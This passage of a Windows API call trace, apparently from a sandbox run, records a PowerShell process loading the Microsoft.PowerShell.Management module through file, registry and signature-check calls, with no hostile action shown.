nBufferLength=0x78, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0193.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e9ec) returned 1 [0193.880] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0193.880] GetFileType (hFile=0x25c) returned 0x1 [0193.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e9e8) returned 1 [0193.880] GetFileType (hFile=0x25c) returned 0x1 [0193.881] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599ea28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599ea28*=0) returned 0x0 [0193.881] ReadFile (in: hFile=0x25c, lpBuffer=0x257a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599ea54, lpOverlapped=0x0 | out: lpBuffer=0x257a264*, lpNumberOfBytesRead=0x599ea54*=0x9e9, lpOverlapped=0x0) returned 1 [0193.883] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599ea28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599ea28*=0) returned 0x9e9 [0193.883] ReadFile (in: hFile=0x25c, lpBuffer=0x25797e1, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x599ea54, lpOverlapped=0x0 | out: lpBuffer=0x25797e1*, lpNumberOfBytesRead=0x599ea54*=0x0, lpOverlapped=0x0) returned 1 [0193.883] SetFilePointer (in: hFile=0x25c, lDistanceToMove=0, lpDistanceToMoveHigh=0x599ea28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599ea28*=0) returned 0x9e9 [0193.883] ReadFile (in: hFile=0x25c, lpBuffer=0x257a264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599ea54, lpOverlapped=0x0 | out: lpBuffer=0x257a264*, lpNumberOfBytesRead=0x599ea54*=0x0, lpOverlapped=0x0) returned 1 [0193.883] CloseHandle (hObject=0x25c) returned 1 [0193.890] CoCreateGuid (in: pguid=0x599eb54 | out: pguid=0x599eb54*(Data1=0x82f5a07c, Data2=0x342a, Data3=0x444d, Data4=([0]=0xa0, [1]=0x22, [2]=0xa9, [3]=0x1c, [4]=0xb3, [5]=0x18, [6]=0xbb, [7]=0xf8))) returned 0x0 [0193.891] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x25c [0193.891] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x500 [0193.891] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x504 [0193.891] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x508 [0193.891] SetEvent (hEvent=0x508) returned 1 [0193.891] SetEvent (hEvent=0x25c) returned 1 [0193.892] SetEvent (hEvent=0x500) returned 1 [0193.892] SetEvent (hEvent=0x504) returned 1 [0193.892] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x50c [0193.892] SetThreadUILanguage (LangId=0x0) returned 0x409 [0193.894] EtwEventActivityIdControl () returned 0x0 [0193.894] EtwEventActivityIdControl () returned 0x0 [0193.894] EtwEventActivityIdControl () returned 0x0 [0193.903] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0193.904] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0193.904] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0193.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e380) returned 1 [0193.904] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599e644 | out: lpFileInformation=0x599e644*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0193.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e37c) returned 1 [0193.905] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0193.905] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0193.905] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0193.905] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x599e288, Length=0x20, ResultLength=0x599e2f8 | out: SystemInformation=0x599e288, ResultLength=0x599e2f8*=0x0) returned 0xc0000003 [0193.905] GetSystemInfo (in: lpSystemInfo=0x599e304 | out: lpSystemInfo=0x599e304*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0193.906] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e294 | out: phkResult=0x599e294*=0x510) returned 0x0 [0193.906] RegQueryValueExW (in: hKey=0x510, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x599e2b0, lpData=0x0, lpcbData=0x599e2ac*=0x0 | out: lpType=0x599e2b0*=0x0, lpData=0x0, lpcbData=0x599e2ac*=0x0) returned 0x2 [0193.906] RegCloseKey (hKey=0x510) returned 0x0 [0193.906] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0193.907] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0193.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e20c) returned 1 [0193.907] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x510 [0193.907] GetFileType (hFile=0x510) returned 0x1 [0193.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e208) returned 1 [0193.907] GetFileType (hFile=0x510) returned 0x1 [0193.907] SetFilePointer (in: hFile=0x510, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e248*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e248*=0) returned 0x0 [0193.908] ReadFile (in: hFile=0x510, lpBuffer=0x25975a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e274, lpOverlapped=0x0 | out: lpBuffer=0x25975a8*, lpNumberOfBytesRead=0x599e274*=0x9e9, lpOverlapped=0x0) returned 1 [0193.908] SetFilePointer (in: hFile=0x510, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e248*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e248*=0) returned 0x9e9 [0193.908] ReadFile (in: hFile=0x510, lpBuffer=0x2596b25, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x599e274, lpOverlapped=0x0 | out: lpBuffer=0x2596b25*, lpNumberOfBytesRead=0x599e274*=0x0, lpOverlapped=0x0) returned 1 [0193.908] SetFilePointer (in: hFile=0x510, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e248*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e248*=0) returned 0x9e9 [0193.908] ReadFile (in: hFile=0x510, lpBuffer=0x25975a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e274, lpOverlapped=0x0 | out: lpBuffer=0x25975a8*, lpNumberOfBytesRead=0x599e274*=0x0, lpOverlapped=0x0) returned 1 [0193.924] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x599e1dc, Length=0x20, ResultLength=0x599e24c | out: SystemInformation=0x599e1dc, ResultLength=0x599e24c*=0x0) returned 0xc0000003 [0193.924] GetSystemInfo (in: lpSystemInfo=0x599e258 | out: lpSystemInfo=0x599e258*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0193.925] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x599e1e8 | out: phkResult=0x599e1e8*=0x518) returned 0x0 [0193.925] RegQueryValueExW (in: hKey=0x518, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x599e204, lpData=0x0, lpcbData=0x599e200*=0x0 | out: lpType=0x599e204*=0x0, lpData=0x0, lpcbData=0x599e200*=0x0) returned 0x2 [0193.925] RegCloseKey (hKey=0x518) returned 0x0 [0193.926] CloseHandle (hObject=0x510) returned 1 [0193.928] CoCreateGuid (in: pguid=0x599e2d8 | out: pguid=0x599e2d8*(Data1=0x64a72ccc, Data2=0xbaca, Data3=0x4978, Data4=([0]=0xba, [1]=0x9c, [2]=0x39, [3]=0x75, [4]=0x6c, [5]=0x17, [6]=0x78, [7]=0x90))) returned 0x0 [0193.929] QueryPerformanceCounter (in: lpPerformanceCount=0x599e038 | out: lpPerformanceCount=0x599e038*=1262495169627) returned 1 [0193.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0193.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0193.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599dd24) returned 1 [0193.929] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599dfe8 | out: lpFileInformation=0x599dfe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0193.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599dd20) returned 1 [0193.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0193.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0193.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0193.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0193.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599dcb8) returned 1 [0193.930] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599df7c | out: lpFileInformation=0x599df7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0193.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599dcb4) returned 1 [0193.931] CoTaskMemAlloc (cb=0x10) returned 0x5ba4800 [0193.931] CoTaskMemAlloc (cb=0x10) returned 0x5ba4818 [0193.931] CoTaskMemAlloc (cb=0xf0) returned 0x3fef00 [0193.931] CoTaskMemAlloc (cb=0x30) returned 0x3d6dc8 [0193.931] WinVerifyTrust () returned 0x800b0100 [0193.950] CoTaskMemFree (pv=0x5ba4800) [0193.950] CoTaskMemFree (pv=0x3d6dc8) [0193.950] CryptCATHandleFromStore () returned 0x3714e0 [0193.950] WTHelperGetProvSignerFromChain () returned 0x0 [0193.950] CoTaskMemAlloc (cb=0x10) returned 0x5ba4800 [0193.950] CoTaskMemAlloc (cb=0x30) returned 0x3d6dc8 [0193.951] WinVerifyTrust () returned 0x0 [0193.951] CoTaskMemFree (pv=0x3d6dc8) [0193.951] CoTaskMemFree (pv=0x5ba4800) [0193.951] CoTaskMemFree (pv=0x3fef00) [0193.951] CoTaskMemFree (pv=0x5ba4818) [0193.955] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0193.955] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0193.956] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0193.956] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0193.956] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0193.956] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0193.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0193.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0193.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d774) returned 1 [0193.966] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x599da38 | out: lpFileInformation=0x599da38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0193.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d770) returned 1 [0193.966] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0193.966] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0193.966] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x599d698, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0193.969] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0194.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0194.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0194.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d57c) returned 1 [0194.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x599d840 | out: lpFileInformation=0x599d840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0194.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d578) returned 1 [0194.007] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0194.010] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0194.016] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0194.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0194.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x59 [0194.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d57c) returned 1 [0194.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x599d840 | out: lpFileInformation=0x599d840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0194.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d578) returned 1 [0194.021] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0194.023] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0194.024] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0194.024] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0194.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599d57c) returned 1 [0194.024] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x599d840 | out: lpFileInformation=0x599d840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0194.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599d578) returned 1 [0194.028] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0195.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", 